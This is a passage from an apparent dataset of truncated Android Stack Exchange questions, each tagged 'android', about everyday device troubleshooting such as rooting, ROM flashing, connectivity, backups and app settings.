2/R2-D2 Can't Load Beyond Bootloader Body: I picked up a DROID R2-D2 from a coworker who has given up on the device. Knowing I like to tinker with these things, she offered me the phone in whatever condition I can muster from it. A few weeks ... ",['android'] "Title: How to root Samsung Galaxy S4 SCH-I545 Body: I would like to root my Verizon Samsung Galaxy S4 SCH-I545. It is currently running Android 4.2.2 and has Build number ending in VRUAME7. How do I root my Galaxy S4? ",['android'] "Title: What exactly is the APN field used for, and why do some providers require it while others don't? Body: I've switched providers and now have to enter an APN (access point name) in order to use the service. With my older two providers I did not need to do this and it worked out of the box. What is the ... ",['android'] "Title: Why is portable hotspot and tethering not working? Body: I am trying to use tethering features to connect my laptop to the Internet. On my Samsung Galaxy S3-i9300 device when I enable a portable wi-fi hotspot and connect wirelessly I can connect from my ... ",['android'] "Title: My clock has disappeared Body: I have a HTC Desire X running Android 4.0.4 (not rooted). I use the ""Digital Clock"" widget which comes with phone on my home screen. The phone came with 3 clock related widgets - Weather Clock, ... ",['android'] "Title: How to prevent audio resuming after hanging up phone? Body: I have a Galaxy S 3, running Cyanogenmod 10. When I am listening to music through Apollo, PlayerPro, Pandora or Spotify whilst I have my headphones in and receive a phone call I normally disconnect my ... ",['android'] "Title: Does the built-in Google app data backup work? Body: This question is a long time coming I guess. I have been seeing claims in Android since the dark ages that our data is being backed-up to the cloud, and recently ""Sync App Data"" showed up as well in ... ",['android'] "Title: Exotic case of Galaxy Nexus not booting Body: Symptoms : Put battery into Galaxy Nexus (tried with two different including a brand new one) Plug cord to USB host or charger Large battery charge indicator icon appears in the middle of the screen ... ",['android'] "Title: What are the non-diagonal screen dimensions of the Nexus 7? [duplicate] Body: Very simple question. I want to know the non-diagonal physical dimensions of the screen itself of a Nexus 7 (eg: 4"" by 5"" or whatever). Every site I look it up on seems to just happily repeat that ... ",['android'] "Title: How long has my app been active? Body: I know that in my settings I can view how much battery my apps have used, but is there any way to detect for how long an app has been active? I would like to know how much time I spend on Facebook, ... ",['android'] "Title: Process priority of music player? Body: I have a Samsung Galaxy S+ with Cyanogenmod 10.1 (built 2013-04-15) (Kernel 3.0.73-rc1-PhenomKernel-V3) and music playback is stuttering when the phone is locked/standby most of the time. Some days ... ",['android'] "Title: Atrix 2 network unavailable after rooting Body: I rooted Atrix 2 running GB 2.3.6 from here and after rooting, my network icon shows a little red cross circle over the tower-range icon. So it doesn't connect to its carrier and is not a phone any ... ",['android'] "Title: Why does Google Drive for Android say “Failed to open the document”? Body: Periodically, when I try to use Google Drive for Android, it will show the list of documents, and when I click one, it says: ""Failed to open the document. / Unable to open the document. Please make ... ",['android'] "Title: Galaxy S3 Mini screen seems to get touched when there's no actual touch Body: I have a Samsung Galaxy S3 mini which I've bought about 6 month ago. For about 3-4 months now, I've noticed when looking at its screen (but not touching it myself) that there's things happening on it ... ",['android'] "Title: How to disable builtin email app Body: On my new tablet I installed the gmail app and also configured the builtin app. Now I get two notifications for each email. How can I get rid of the builtin email app which does not seem as good as ... ",['android'] "Title: How to update my moded Nexus 4 to Android 4.3? Body: I'm going to want to update to android 4.3 when it comes out. I have rooted my Nexus 4, flashed Paranoid Android and Franco Kernel. Can I just use Root Keeper to temporarily un-root, then install ... ",['android'] "Title: Upgrading HTC Wildfire S to Jelly Bean [duplicate] Body: How can I upgrade my wildfire s to jellybean? Help anyone? What are the risks? I tried to look up on google but couldn't find anything usefull..HELP! ",['android'] "Title: How to record all calls and auto-sync to Dropbox? Body: I just installed Automatic Call Recorder, which almost does as I ask - it can auto-record all calls. But it stores them to an ""inbox"" on the device, and deletes old items when the inbox is filled. ... ",['android'] "Title: What is the voltage range for GALAXY Tab 2 10.1 Body: I bought GALAXY Tab 2 10.1 from USA and going to use in Asia where I have 220V power. I am not sure if I can connect the power adapter that comes with the tab. There are no power specification ... ",['android'] "Title: Is “Disabling” apps with Android 4 similar to “Freezing” in Titanium backup? Body: I just saw that I can ""disable"" an app in the app editing menu on my new HTC Droid DNA (stock Android 4.1 w/Sense). The main effect I can see is that the app disappears from app drawer. How is this ... ",['android'] "Title: Text message contacts on Galaxy S4 Body: When I create a new text message and enter into my contacts, it loads my gmail contacts, as opposed to just my contacts that have phone numbers which is what I really want. I've played around in the ... ",['android'] "Title: Can I install sudo/su with the signed apk exploit? Body: The BlueBox Security Scanner says that my Nexus 4 is still vulnerable to two signature exploits. As far as I understood the exploit can circumvent the apk-signature-check so that any apk posing as an ... ",['android'] "Title: Disabling long press on empty area of home screen Body: I have a HTC Desire X running Android 4.0.4 (not rooted). If I long press in an empty area on my home screen, it automatically opens the widget which allows me to add/remove apps/widgets on the home ... ",['android'] "Title: paid apps can no longer be backed up on new android os by “my backup pro” are there any apps that still do a full backup [duplicate] Body: ""my backup pro"" response from the developer was: ""Yes these are paid apps that are not longer accessible for backups on the new Android os"". is there a android backup app that works on the new android ... ",['android'] "Title: Huawei U8650 Android Development on Windows Body: I have an Huawei U8650 smartphone. And, as I understand, I need system device drivers for it to be able to develop and debug applications for it using Windows. On Linux this is as simple as just ... ",['android'] "Title: Alert Screen after power on Xperia Z Body: I powered off my xperia z and powered on again. A progress bar with an alert icon has appeared on screen and didn't disappear until now(about 20 min). What's that? If I need to flash the phone, can I ... ",['android'] "Title: closed ports wifi problem Body: I have these following issues : 1) wifi connects but the signal bars stay grey 2) I can open and search apps in market but when I try to download them , it says ""waiting for network"" 3) facebook ... ",['android'] "Title: File Explorer for HTC Desire X - too many permissions asked for? Body: I have a HTC Desire X running Android 4.0.4 (not rooted) I am looking for a file explorer mainly for 2 things - Just browsing around the file system - Copying an apk from my PC and executing it. I ... ",['android'] "Title: Android Tablet Restored, Can't Reinstall Same Apps Body: My Android tablet 'broke'. Sent it in to the OEM and they fixed it under warranty and shipped it back. Now, when I go to re-install certain apps, they won't install to my tablet because Google Play ... ",['android'] "Title: How to re install rom on blank htc desire? Body: I have installed rom in the memory card of my htc desire bt unfortunately i have lost my memory card. Now my ph is not working; everytime it just shows ""HTC"" and then restart. Can anyone please ... ",['android'] "Title: Can I use Adblock Plus for Android and still see per-app data use? Body: I have a rooted device and I'm interested in installing Adblock Plus for Android. The app, that is, not the Firefox extension. The FAQ says: To filter ads, all traffic has to pass through Adblock ... ",['android'] "Title: Problems Unlocking Bootloader Of Atrix 4G Body: I wanted to try out CM7 and was following the instructions on this page: http://wiki.cyanogenmod.org/w/Install_CM_for_olympus . The bootloader unlocking process failed according to RSDLite and now I ... ",['android'] "Title: Why does Android drop files I transfer to SDCard while in recovery mode? Body: Here's my situation: I have a Sprint Samsung Nexus S 4g. It is rooted, unlocked, and loaded with CyanogenMod 10.1. I am attaching it to a Windows 8 machine via USB cable. Recently, the phone went ... ",['android'] "Title: 4.0 Samsung galaxy centura Body: how can I get past a emergency dialer, locked screen on a Samsung galaxy centura (android 4.0)... I have no idea how I got into it, but I can't get past it or do anything else with it.... ",['android'] "Title: Set Google Chrome default font Body: As of this morning, Google Chrome Beta has suddenly begun using a silly font (HYTravel) as the default in web pages. (See screenshot below.) Setting the Android default application font (a feature ... ",['android'] "Title: Battery charge indicator flashing on and off even when not connected [duplicate] Body: The battery charge indicator on my Samsung Galaxy Note has started behaving really eratically. At the moment, while turned on, it goes through a constant cycle of showing the charging indicator for a ... ",['android'] "Title: External usb bluetooth do not work in android 4.0.4 kernel 3.0.8+ Body: I have insert a external USB Bluetooth dongle to a Tablet via the USB port and try to turn on the Bluetooth in the Android but fail. So, how do one know if the USB Bluetooth dongle can be supported ... ",['android'] "Title: How can an HTC Music playlist be edited offline? Body: I'm running HTC Music 2.0.x on my phone and its playlist editing capabilities are... primitive. Is there any way I can edit the playlists in a more comprehensive manner? ",['android'] "Title: Is it possible to install/update apps from Google Store via PC? Body: A few months ago I was forced to uninstall some apps in order to update other ones. Recently I've lost the ability to receive email notifications via Gmail (searching works, however). All because of ... ",['android'] "Title: How do I place a call from my original phone number if Google Voice is the default handler? Body: I have a AT&T Galaxy SII running CM9 and primarily use my Google Voice number and all of the Google Voice integration on the phone. I'd like to be able to place a call using my native (non-GV) ... ",['android'] "Title: Copy data from phone to wifi network Body: USB port on my phone broke (can't transfer data). My phone uses built-in memory, no memory card. It works, I connect to wifi, etc. Is there any software or easy way to copy all my files from phone to ... ",['android'] "Title: How to disable a specific screen animation on cm 10.1.2? Body: On cm 10.0.0 I disabled the annoying ""display off"" ""like old CRT"" effect, but upgrading to 10.1.2 re-enabled it and I can't find anymore the display animation settings. Can't find in the settings, ... ",['android'] "Title: How to block Android app updates with a packet filter? [closed] Body: I am working on a router for your holidays. The router connects to the Internet with a UMTS surf stick and provides a WLAN access point for all Android devices. All Android devices are configured to ... ",['android'] "Title: People Sync is broken Body: ""People details"" sync has stopped completely for me on my Galaxy Nexus and Nexus 7 on 8th July. If I say ""Sync now"" then it looks like it's syncing but after a minute it becomes unchecked and the ... ",['android'] "Title: Scanning a QR code into a browser text input? Body: I have a bit of an edge use-case of QR codes. I would like to be able to scan a QR code via a phones camera and have that value pasted into a browser text input. Is this possible given any current ... ",['android'] "Title: Can I listen to FM radio of other countries? [closed] Body: Can I listen to FM radio being played in other countries? I'm not talking about music streaming services. ",['android'] "Title: Can I install Google Edition Android on an HTC One X+? Body: Recently, the HTC One Google Edition has been released which has Google Android 4.2.2. I'm currently using an HTC One X+ and I want to install Google's Android on my mobile. I've found some links on ... ",['android'] "Title: People app disappeared from apps on Nexus 4 Body: It's a system app, but somehow I disabled it. Now, it won't show me my contacts or anything. If I try to see a missed call from notification drawer, it leaves me at home screen. I cannot view any of ... ",['android'] "Title: Some /system/app disappear on app drawer! How to start an app not in drawer? Body: Android 4.1.2 Somehow the original Home launcher icon disappeared after OTA update, I'm not sure if it's the only app that disappears, but it's the most obvious when I'm testing other launchers. ... ",['android'] "Title: Changing TF300 keyboard dock to Icelandic Body: I have a Asus TF300 keyboard dock that has an American-style qwerty layout. Is it possible to change it to Icelandic, so that I can type in Icelandic letters from the keyboard dock? ",['android'] "Title: three sets of headphones not plugging into brand new lg optimus g phone Body: I have 3 sets of headphones, being he exact same size. They all fit and even click into my old phone's head jack, where as with my new phone the lg optimus g they go in midway and the only way for the ... ",['android'] "Title: Operating System isn't working in Onda V812 Body: I bought an Onda V812, a Chinese tablet. Since beginning, the operating system hasn't worked correctly. Now it simply doesn't boot. I'd like to reset the tablet and maybe install a new version of ... ",['android'] "Title: randomly uninstalled apps from sd card Body: Lately I've noticed that some apps get constantly uninstalled from my sd card. I figured it had to do with little free space left but apparently I had almost 3 GB left and after monitoring for a ... ",['android'] "Title: How to get mDNS working for Chrome on Android? Body: Is there a way to connect to http://mylaptop.local/ using Chrome on Android, or is there another browser that works? I travel from network to network with my laptop and my phone and I often have to ... ",['android'] "Title: How can I remove all deleted messages from mail trash folder on default email app Body: This question has already been asked here but no satisfactory answers were given. Some say to go to trash folder and select mails one by one then delete; I will NOT select 250 mails one by one!! ... ",['android'] "Title: How can I browse my hard disk in Android 4.2? Body: I have installed Android 4.2 in my PC with Windows. Currently, my modem is not supported by Android. I want to browse my hard disk, but there is no browse app in that OS. How can I do it? I have ... ",['android'] "Title: Unfortunately, System UI has stopped Body: I have PAC-ROM Paranoid-Android (downloaded and flashed from here), and suddenly, after changing some settings (unfortunately I can't reproduce an annoying message started popping up every 2 seconds, ... ",['android'] "Title: Upload battery status to a website Body: I would like to maintain a central list of the battery status of my devices. For my Linux laptops, I will write a small shell script that reads the battery information from the kernel and uploads it ... ",['android'] "Title: Override text selection feature in Samsung Galaxy S4 like HTC One's Body: I own a Samsung Galaxy S4, but I don't like the way Android selects a text. Unlike iOS, the text selection is very smooth and accurate. I need to override this feature even if it requires rooting. I ... ",['android'] "Title: How do I uninstall the dictionary within the Kindle Android app? Body: I opened my Kindle app today and it started automatically downloading a dictionary and I couldn't stop it. Where can I go to delete it? ",['android'] "Title: Why has my location history stopped working? Body: From the time that Google Maps updated to the newest version, my device (Samsung Galaxy S3) no longer logs my location history althrought I have turned it on. I have tried uninstalling updates and ... ",['android'] "Title: What to do if Galaxy S2 firmware upgrade failed and the phone is not working at all? Body: I was upgrading my Galaxy S2 from Gingerbread 2.2.3 to Jelly Bean 4.1.2. In the middle of the process the USB cable just got disconnected and I only see a picture of mobile connected to a PC and a ... ",['android'] "Title: How do I save purchased apps as APKs? Body: I am unable to save APK's that I have purchased (actually paid for) through the Play store. Usually SaveAPK is able to save the APKs that I'm interested it, however this didn't work: it sais Copy ... ",['android'] "Title: Go into recovery mode in Sony Live With Walkman Body: Does anyone know how to get into recovery mode for Sony Live With Walkman phone? These key combination not working Volume Up / Down Volume Up / Down + Power Button Power Button + Home button Is ... ",['android'] "Title: on oplus 8.31 android how do i put my own contact photo so it will appear on message thread? none of there answers work out! Body: How can i put my contact photo so that it will appear in message thread? I already tried any solutions that is possible. Help me please. ",['android'] "Title: Texts automatically converted to MMSs Body: Information of my device samsung galaxy GT-S5830i android 2.3.6 baseband version S5830iXXMD1 kernel 2.6.35.7 gingerbread.xxmd1 my phone has recently started automatically converting SMSs to MMS, ... ",['android'] "Title: Restore my android factory setting [duplicate] Body: When I purchased my phone it had Android 2.2 then I got it upgrade to Android 2.3 now I want to restore my phone's factory settings. My question is that after restoration, will version of Android my ... ",['android'] "Title: Wi-Fi connected but there is no internet access Body: I have a Samsung Galaxy S Advance (Android upgraded to 4.1.2 Jelly Bean) which I got only one month before. Wi-Fi was initially working great, but now it doesn't have any internet connection even if ... ",['android'] "Title: Different terms in build.prop file? Body: Can some one please explain in detail about different properties in build.prop file present in android os? Location of file : /system/build.prop Thanks in advance ! ",['android'] "Title: Different contacts on multiple phones with the same google account? Body: I own two lines (different carriers), and one of them is currently on my Galaxy S4. I am thinking of purchasing another (open) android device to place the other SIM on. Since I have purchased apps ... ",['android'] "Title: How to change the call location identifier language? Body: I have changed everything in my rooted HTC One SU (t528w) mobile to remove chinese characters. There is no chinese display in my mobile except one thing. When I call to anyone or gets call it shows ... ",['android'] "Title: Complete incremental phone sync Body: I have two samsung galaxy s2 models and I want them to sync with each other completely, either over wifi or usb. I usually only use one at a time. Is it possible or is there an app already for that? ",['android'] "Title: Rooting Emdoor EM79 c -NFC tablet Body: I have an Emdoor EM79D NFC tablet which is locked. I would like to root the device. I am able to get the adb shell but not able to use sudo nor su. Is there any way to root the device? I also tried ... ",['android'] "Title: Enable SMS count on galaxy s3 lock screen? Body: When I first got my galaxy the at the lock screen I could see an icon with a count of unread text messages on the right side of the screen, but now it has disappeared and I did not see any settings ... ",['android'] "Title: How to change System Language in Android? [duplicate] Body: I bought the HTC One from China. I have rooted it succesfully and removed all bloatwares in chinese language. It has english language but it says ""English (China)"" How can I install any other ... ",['android'] "Title: Android lost, Gmail password changed. Can Gmail still be viewed? Body: I lost my Android phone today so I changed my Gmail account password. Will whomever that finds it be able to view my offline Gmail (cached) content, even though I changed my account password? I'm ... ",['android'] "Title: Dropped calls and people not hearing me Body: Samsung S3 dropping calls and people not hearing me on made or received calls. Happened after latest upgrade. ",['android'] "Title: How to change android primary google account Body: During the ""in-app purchase"" I am unable to switch the Google account I would like to use for ""in-app purchase"". Currently, in order to change the primary Google account on Android operating system, ... ",['android'] "Title: Opening links from app in Google Chrome Incognito or Firefox Private Browsing mode Body: When I tap on a link in any app it shows me installed browsers on my HTC One X. The list includes Opera, Internet, Chrome and Firefox. Is there a way by which I can include options of Chrome ... ",['android'] "Title: Superuser app won't grant root acess anymore Body: I tried to do a backup a few days ago but TB just stucked on the ""Asking root permissions"" screen. And now, every app that needs root access doesn't work properly because root access is denied. My ... ",['android'] "Title: Samsung Galaxy S4 stuck on Samsung logo after booting from Odin Body: After booting from Odin, I can't turn on the screen. It gets stuck on Samsung Galaxy S4 logo. I tried to do a factory reset. It says completed, but then it has a no command error under the Android ... ",['android'] "Title: Is there any way to shoot a full sphere panorama (horizontal + vertical)? Body: I've tried a few apps for shooting panoramas on my Android device (Galaxy S4), but I cannot find one that is able to shoot both horizontally and vertically. I would like to be able to capture a whole ... ",['android'] "Title: Nexus 7 not visible on PC after upgrade to 4.2.2 June 2013 Body: I've looked at the other posts on this topic, but my problem is that I cannot get the Nexus 7 to be seen at all by the Win7 OS. I've tried 3 cables switching between MTP and PTP turning on ... ",['android'] "Title: How can I exclude certain contacts from silent mode? [duplicate] Body: During the night, I set my phone to silent, since even the vibrate wakes me up. Is there some way to let it still vibrate if I get a call from certain contacts? ",['android'] "Title: Downgrade Galaxy S Duos from ICS to Gingerbread Body: I want to downgrade my Galaxy S Duos from ICS (Ice Cream Sandwich) 4.0 to Gingerbread. How do I do this? ",['android'] "Title: Fisheye effect for android camera Body: How can I get fisheye effect when taking a photo? I got a Galaxy S1. ",['android'] "Title: Where on my S3 can I find the punctuation button to type a “guillemets”? Body: I want to type the French and German style ""guillemets"" marks (« or ») on my mobile. Where on my keyboard is it? OS: 4.1.1 Galaxy S3 ",['android'] "Title: Update android 4.0.4 to 4.2 [duplicate] Body: I want to update to jellybean. My mobile is ""Idea smartfone ivory"". Currently I am on ice cream sandwich 4.0.4. I cant find any app detecting my phone. What might be happening? ",['android'] "Title: 'Spy Activity Spotted' in Android notification Body: I bought a new Galaxy S3 and downloaded Frontline Commando: D-Day from Play Store. I have not inserted the SIM card yet. I use my phone via wifi, for now. Yesterday, I got a notification that 'Spy ... ",['android'] "Title: Is it possible to install Chromium on Android? Body: I really like the Chromium browser, it's quite speedy, but I can't find any functioning downloads for Android. All the sites I've tried so far have the following error while trying to install the APK ... ",['android'] "Title: How to install apps from one user to another Body: I have a Nexus 10 set up with multiple users. My owner account has a lot of apps that I got from my Humble Library (so not from Google Play). I want to install these apps on one of the other user ... ",['android'] "Title: Samsung Note 10.1 USB Ethernet Body: I'm trying to get USB Ethernet support on my tablet, which for some reason is apparently disabled even though 4.1.2 directly supports it. (My Note II can use it...) I've come to the conclusion that ... ",['android'] "Title: Is there an alternative to the browser for accessing Google Groups? Body: Are there any mobile apps for accessing Google Groups on Android? Googling suggests not, but the definitive answer would be useful. (Note that I am not asking for the best app, so this is not ... ",['android'] "Title: KidLogger data and configuration file location Body: After downloading and installing from kidlogger.net, the app runs well on my Samsung Galaxy Nexus. I want to locate the storage location of the data as well as the settings files, so that I can use ... ",['android'] "Title: WhatsApp - one tick and last seen discrepancy Body: I have sent a WhatsApp message and it only shows one tick since I sent it at 6 pm. After that the person who was supposed to receive the text showed last seen at 9 PM. Have I been blocked, or is there ... ",['android'] "Title: How can I access the files in “/data/data” and copy them into memory card without root? Body: Are there any way to access the files in /data/data and copy them into memory card? I do not have root access. ",['android'] "Title: Problem opening docx file in HCL ME tablet running ICS Body: When I open a .docx file in HCL ME tab on running ICS, I get an error message Low on space. I already cleared some data. How do I overcome this problem? ",['android'] "Title: Can downgrading OS make Xperia Neo V, boot after a boot loop Body: My Neo V MT11i was upgraded to ICS a few days ago. Today when I turned on bluetooth, it started to reboot repeatedly. I tried to hard reset using sets of button as posted in some blogs but still I ... ",['android'] "Title: Edit out a part of an audio file [closed] Body: How can I cut out a particular portion of the song and play the rest of the song? for example my song is of 4 minutes and 11 seconds and I want to remove the section from 2:04 to 3:30 and play from ... ",['android'] "Title: How to permanently delete stored images in /data Body: I have a rooted HTC Desire HD with a Custom Rom. Now, I want to permanently delete the stored images on my internal memory (/data). Everytime I run the app Disk Digger, my old crappy photos seems to ... ",['android'] "Title: How can I change the data usage cycle day for Wi-Fi? Body: Changing the starting day for Mobile was already non-obvious: Enable Mobile data. Exit the Data usage settings app. Tap the spinner below the Set mobile data limit checkbox. Tap Change cycle.... ... ",['android'] "Title: 2G disconnects Frequently Body: I have Intel XOLO (X900), I use a Airtel data connection(India). The network in my mobile 2G disconnects whenever I go home(at home there is poor network coverage). After I come out of my house, still ... ",['android'] "Title: temp root to acquire a .dd image of my android phone Body: I have a Sensation XE which is not rooted. (hboot 1.29, android 4.0.3) I found a recovering method in the highest ranked answer in this post: How can I recover a deleted file on Android?. From the ... ",['android'] "Title: View a PDF with two columns by displaying it one column by one column Body: Is there a way to view a PDF with two columns by displaying it column by column? I can certainly use any viewer to look at such a document but leafing around from column-to-column is very cumbersome. ... ",['android'] "Title: Using Google Play music as an alarm Body: I downloaded a song from the Play Store to use as my alarm on my S3 but for some reason can't find it. When I go into Play Music it's there along with all my other downloaded music, but when I go into ... ",['android'] "Title: Ad hoc wifi network not visible on Android 4.0.4 Body: I would like to use my laptop's wired internet connection on my Android phone. So, i created a wifi-adhoc network and when i scan wifi network on my android phone, laptop's wifi ad-hoc connection is ... ",['android'] "Title: Connecting to COM serial port through USB with Putty Body: I am trying to use my android phone connected to my PC as an SMS gateway by executing AT commands. I have attached the phone to the PC (Windows 7), and device manager shows that it is in COM4 port. I ... ",['android'] "Title: How can I downgrade my HTC Explorer from Android 4.0 to 2.3 Body: Android 4.0 is installed on my HTC Explorer, but now I want to install again the previous version which was 2.3 Gingerbread. Could anyone please tell me how to do that? ",['android'] "Title: Evo 3D GPS is no longer accurate Body: I have an HTC Evo 3D from Virgin Mobile, about six months old. Until yesterday, the GPS worked great, tracking my exercise in RunKeeper very accurately. Since yesterday, RunKeeper shows my walking ... ",['android'] "Title: No access to the Gallery nor to the camera Body: I've got a Galaxy Nexus and recently I cannot access my gallery or camera. When I tap both on the Gallery icon or on the camera icon I got this message ""No archives available"", then the app shuts ... ",['android'] "Title: Warning received when clicking links in Facebook application Body: When I click some shared links in the Facebook app and Chrome opens, I get: Please be careful for safety and privacy of your Facebook account, remember... and when I try to click on ... ",['android'] "Title: Problem in connection with Samsung Galaxy S3 Body: When I connect to the internet with my Galaxy S3 it connects but tells me there's a network error (can't open or load any page though there is connection). I use the same wifi with another device and ... ",['android'] "Title: Calling address book contacts in Skype 4 Body: I've just updated to the new Skype 4 on my Nexus 4. I regularly use Skype to call numbers saved in my phone's address book contacts, but can't find where to do this in the new version. The previous ... ",['android'] "Title: How to assign a hardware button to camera Body: I like the functionality of a hardware camera button. On my Lumia 920 I have a dedicated camera button that I can long-press at any time (in other apps or when the phone is locked) to open the camera ... ",['android'] "Title: Gallery thumbnails locked Body: I have a problem with my gallery thumbnails for a few days now. Thumbnails are generated in the .thumbnails folder but they are not displayed in the gallery, there is instead a picture with a lock. ... ",['android'] "Title: Mobile Network Shortcut on GO Launcher Ex Body: I'm using GO Launcher Ex. How can i add Mobile Network shortcut to my home screen? I tried adding a setting shortcut, but i don't see the mobile network item offered there. ",['android'] "Title: GPS is always indicated as on Body: I just recently bought a Samsung Galaxy Star S5280 which runs on Android OS, v4.1.2 (Jelly Bean) and it keeps indicating that my GPS is on. I already deactivated my mobile network on both SIM cards. I ... ",['android'] "Title: Are there earphones with support for buttons similar to the OEM earphones? [duplicate] Body: I have a Samsung Galaxy SII plus. In the package I also got earphones from Samsung. The problem is that those earphones are in-ear, and they don't fit me well. I was wondering if there are 3rd-party ... ",['android'] "Title: Wipe tablet and install new ROM Body: I have the Galaxy S Wifi 5 Player, I have a rooted ROM I installed more than a year ago. I completely forgot the process of ROM installation and I hope someone can sum up a checklist so I don't find ... ",['android'] "Title: My phone's screen died but it still works. How can I get the text messages from it? [duplicate] Body: People are still sending me texts even though I can't read them. I've gotta get a replacement quick, but I also need to get the important texts I missed. Is there any way I can get them through my pc? ... ",['android'] "Title: Latitude's “Enable location sharing” settings disables automatically Body: I want my latitude friends to see my location. However, I am seeing that this setting disables automatically after few minutes, even after enabling again and again. Any ideas ? ",['android'] "Title: Why can't I create a hard link? Body: I wanted to create a hardlink but I can't. I'm rooted and I want to offload my internal memory and move the dalvik-cache to my sd-card. ",['android'] "Title: wm8850-mid Stuck In Boot Screen Body: I am Playing Something and The table shuts down because of low battery. It is Stuck on Shuting Down Process then It Turn Down. I Open It back And It is stuck on boot logo. ",['android'] "Title: Do away with/Hide Emulator Keyboard? Body: I learnt from here the various keyboard commands for an emulator. I therefore thought one could afford to do away with/hide the on-screen keyboard that has the DPad buttons, the home, menu and back ... ",['android'] "Title: Samsung Fascinate - Custom recovery without USB Body: I have a Samsung Fascinate that has a faulty USB connection. No computer / cable connection will recognize that there is a USB connection, including Windows, Mac, Linux, and using ADB and ""lsusb"". ... ",['android'] "Title: Does Android 2 support swap space? Body: With Android 2.3 being Linux-based, can Android 2.3 use a swap partition without being rooted? ",['android'] "Title: Google Music 'Unknown Artist' only in Android App Body: So I have an album that for some reason shows up as of an 'Unknown artist' in my library in the Google Music app. I already fixed the tags in Foobar (and also checked them again with MP3Tag) and then ... ",['android'] "Title: Unable to modify framwork-res Body: I have a Huawei u8655-1 device which is rooted, with ClockworkMod flashed. I installed NinjaMorph and successfully changed my lockscreen icons. I have tried to modify other icons found within frame ... ",['android'] "Title: How to upgrade android version in spice Mi 350n [duplicate] Body: I have a android phone spice Mi 350n, android version is 2.3.4. I want to upgrade it, is it possible, if yes upto which version? Any link for tutorial is helpful. Thanks! ",['android'] "Title: Strange PDF scanned character rendering in Android Body: I am using Android 4.0 (ICS) on a Samsung Nexus S 4G. I have a PDF of a scanned book (text/graphics). The PDF displays fine on a PC. On the Android device, every single ""d"" and ""o"" character has ... ",['android'] "Title: How to prevent Galaxy S4 from dropping out of “Connected as Installer” to “Connected as Media Device”? Body: I have my Verizon Wireless Samsung Galaxy S4's developer options enabled with USB debugging turned on. Whenever I connect it to my machine, it displays ""Connected as Installer"" in the notification ... ",['android'] "Title: My Samsung galaxy keeps on showing the software update & telling me to restart. Help? Body: My Samsung galaxy s3 kept on showing restart & the software update & I don't know what to do. Should I restart it? I'm just scared of what's going to happen next. What if it won't work, & ... ",['android'] "Title: Can't disable pattern screen lock Body: I recently installed PdaNet+. To use wifi tethering it asked my to accept a certificate and set a screen lock pattern. I have since uninstalled it and removed the FoxFi certificate, but I still can't ... ",['android'] "Title: Is there a widget or setting to allow taking/making a one-press Evernote PAGE CAMERA Body: Evernote has this new feature: Page Camera which is sort of like a camera/scanner. It crops the photo down to the page you're taking a photo of and adjusts the contrast, etc. Very slick. But it's ... ",['android'] "Title: Can back up / restore for a hard reset on Galaxy Note be done using Samsung Kies? Body: My Galaxy Note seems to have gone pretty sluggish and i guess one option is to hard reset / format my phone. I have been browsing this forum and now know how to do the reset and that it is very ... ",['android'] "Title: Force a download manager not to manage downloads Body: I have a nexus 7 and I use chrome on it for my browser. I have a download manager installed, and I use it to download files by URL. However, it has usurped the downloading of chrome, and I like ... ",['android'] "Title: How to paste a password in a field of web browser? Body: This question may look ridiculous at first look, but this is more sad than funny. In some cases, standart web browser (or any of the alternatives I tried - firefox, opera, dolphin) simply doesn't ... ",['android'] "Title: Strange Contact status Body: In my contacts there is a text area between the photo and the emails. How do I edit it? Something put something inappropriate there and I would like to get rid of it. Thanks Model: Vizio Android ... ",['android'] "Title: Google Drive app on Nexus 7 doesn't allow offline editing Body: Okay, so I have a problem. I have a Nexus 7 (rooted, unlocked bootloader, but no other changes to the system). I have a few google documents (native gdoc format, I'm the owner) that I'd like to edit ... ",['android'] "Title: Where to get OpenSSL binary for Android? Body: I have a Nexus 10 (unlocked & rooted) and I wanted to get the openssl binary on there so I can verify HTTPS certificates: $ openssl s_client -connect <IPADDRESS> However, no matter what I ... ",['android'] "Title: Find my iPhone equivalent [duplicate] Body: Is there a good find my iPhone equivalent for android that isn't solely centred around ""theft"". The main features I used of find my iPhone were play sound, which makes it play a loud noise (useful ... ",['android'] "Title: Android on wifi - only local network, no internet Body: My phone (HTC One X) can't get internet when connected to my office wifi network. My office's wifi has no problem for me and my workers. By default, my phone uses DHCP mode when connected to local ... ",['android'] "Title: Can't log in via Gmail app but browser login is fine Body: I can't log in through my android Gmail application and have to log in using the browser. I am kind of confused. The response I got from the app was ""Can't establish a reliable data connection to the ... ",['android'] "Title: Android Presentation display Body: I've read about Presentation display support in 4.2.2, but I cannot understand - Presentation supports only WiDi-display or HDMI too? EDIT I want to build application which uses external monitor to ... ",['android'] "Title: Why can't my laptop detect my phone? Body: I want to upload pictures from my S3 to laptop. There is no problem with my cable and laptop because my phone was able to charge when I connect my phone with the laptop. However, my laptop didn't ... ",['android'] "Title: How to delete a system app? [duplicate] Body: How can I delete any system app? I deleted a wallpaper app in my app folder but I don't see any changes? I want to delete some apps especially default factory-installed apps. Is there a simple way? ",['android'] "Title: Hdmi drivers in Android 4.0? Body: I am trying to install Android 4.0 on a tv box. I just need to know whether Android 4.0 will have the HDMI drivers. Thanks ",['android'] "Title: How can I install a CSC code which are not listed on Samsung Galaxy S/S2/S3 CSC app? Body: I have a Samsung Galaxy S2. I want to change its CSC to any Indian version. I came know that ODD, INU, IND, INA, INS, IMS & REL are the Indian CSCs. But when I check with Samsung Galaxy S / S2/ ... ",['android'] "Title: No-name i.onik android tablet not recognized by adb — adb devices empty Body: I have followed various instructions and finally was able to connect my ZTE Blade to my Ubuntu laptop for USB debugging. The same setup does not work when I exchange the phone by my ""no-name"" i.onik ... ",['android'] "Title: Soundcloud app quit working Body: My soundcloud app is not working anymore. I tried to play a new song and then it hanged. I tried emptying the cache from the program settings to no effect. What can be done? The phone is a Samsung ... ",['android'] "Title: deleted a file which probably displays the notificati on samsung galaxy y S5360. Body: I have erroneously deleted a file which probably displays the notification slider and also the call receive and call end icons on my samsung galaxy y S5360. please let me know how to resort ",['android'] "Title: App that send gps location to the registered email when the app installed successfully Body: Is there an app that send the gps location or the network location or ip address to the registered primary google account of the device when the installation is completed. Checked in google play, but ... ",['android'] "Title: How do I undo “always display images from this sender” on Android gmail? Body: I accidentally clicked 'Always Display Imnages from This Sender' and was wondering if there's a way to undo this setting in Android gmail. It's straightforward to undo on web Gmail, but not the same ... ",['android'] "Title: How to uninstall revolutionary rooting tool from Android devices Body: i have different android devices and all are rooted with the help of revolutionary tool, now i want to remove revolutionary tool from my device is there anyway so that remove all those tool which are ... ",['android'] "Title: How to create videos similar to Khan-Academy videos with a Samsung 